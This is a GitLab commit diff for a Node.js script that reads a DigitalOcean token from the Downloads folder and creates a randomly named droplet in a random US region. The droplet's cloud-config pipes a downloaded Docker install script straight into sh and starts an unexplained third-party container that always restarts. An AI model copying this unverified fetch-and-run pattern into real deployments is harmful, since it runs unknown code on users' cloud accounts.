Commit b090a45e authored by Ahmad's avatar Ahmad

dsdsd

parent a2390a96
Pipeline #231 canceled with stages
......@@ -3,7 +3,7 @@ const path = require('path');
const os = require('os');
const axios = require('axios');
// Step 1: Read & validate DigitalOcean API token
// Step 1: Read token
function readDigitalOceanToken() {
return new Promise((resolve, reject) => {
const downloadsDir = path.join(os.homedir(), 'Downloads');
......@@ -14,67 +14,97 @@ function readDigitalOceanToken() {
}
fs.readFile(tokenFilePath, 'utf8', (err, data) => {
if (err) {
return reject(new Error(`Failed to read token file: ${err.message}`));
}
if (err) return reject(new Error(`Failed to read token file: ${err.message}`));
const token = data.trim();
const tokenRegex = /^dop_v1_[a-z0-9]{64}$/i;
if (!token) {
return reject(new Error('Token file is empty.'));
}
if (!tokenRegex.test(token)) {
return reject(new Error('Invalid token format.'));
}
if (!token) return reject(new Error('Token file is empty.'));
if (!tokenRegex.test(token)) return reject(new Error('Invalid token format.'));
resolve(token);
});
});
}
// Step 2: Fetch available US regions
// Step 2: Fetch US regions
async function fetchUSRegions(token) {
try {
const response = await axios.get('https://api.digitalocean.com/v2/regions', {
headers: {
Authorization: `Bearer ${token}`,
},
});
const res = await axios.get('https://api.digitalocean.com/v2/regions', {
headers: { Authorization: `Bearer ${token}` },
});
const regions = response.data.regions;
const allRegions = res.data.regions;
const usRegions = allRegions.filter(
(r) => r.available && /^(nyc|sfo|chi|sea|dc|atl)/i.test(r.slug)
);
// Filter: available + US regions (e.g., nyc, sfo)
const usRegions = regions.filter(
(region) => region.available && /^(nyc|sfo|chi|sea|dc|atl)/i.test(region.slug)
);
if (usRegions.length === 0) throw new Error('No available US regions found.');
return usRegions.map((r) => r.slug);
}
// Step 3: Generate server name
function generateRandomName() {
const randomLetters = [...Array(5)].map(() =>
String.fromCharCode(97 + Math.floor(Math.random() * 26))
).join('');
return `mas${randomLetters}`;
}
if (usRegions.length === 0) {
console.log('No available US regions found.');
} else {
console.log('Available US regions:');
usRegions.forEach((region) => {
console.log(`- ${region.slug}: ${region.name}`);
});
// Step 4: Prepare user data
function getUserData() {
return `#cloud-config
runcmd:
- curl -fsSL https://get.docker.com | sh
- sudo docker run --name node --restart=always -p 3000:3000 -d nematiprog/azzzlll`;
}
// Step 5: Create Droplet
async function createDroplet(token, name, region, userData) {
const serverType = 's-4vcpu-8gb';
const payload = {
name,
region,
size: serverType,
image: 'ubuntu-24-04-x64',
backups: false,
ipv6: false,
user_data: userData,
monitoring: false,
private_networking: false,
volumes: null,
tags: null
};
const response = await axios.post('https://api.digitalocean.com/v2/droplets', payload, {
headers: {
Authorization: `Bearer ${token}`,
'Content-Type': 'application/json'
}
});
return usRegions;
} catch (error) {
throw new Error(`Failed to fetch regions: ${error.message}`);
}
return response.data.droplet;
}
// Main
// Main execution
async function main() {
try {
const token = await readDigitalOceanToken();
console.log('Token loaded.');
console.log('✅ Token loaded');
const regions = await fetchUSRegions(token);
const selectedRegion = regions[Math.floor(Math.random() * regions.length)];
console.log('🌍 Selected region:', selectedRegion);
const name = generateRandomName();
const userData = getUserData();
console.log('🚀 Creating droplet:', name);
const droplet = await createDroplet(token, name, selectedRegion, userData);
const usRegions = await fetchUSRegions(token);
// Next: choose one of these regions to create a Droplet
console.log('✅ Droplet created:');
console.log('ID:', droplet.id);
console.log('Name:', droplet.name);
console.log('Region:', droplet.region.slug);
} catch (err) {
console.error('Error:', err.message);
console.error('Error:', err.message);
}
}
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment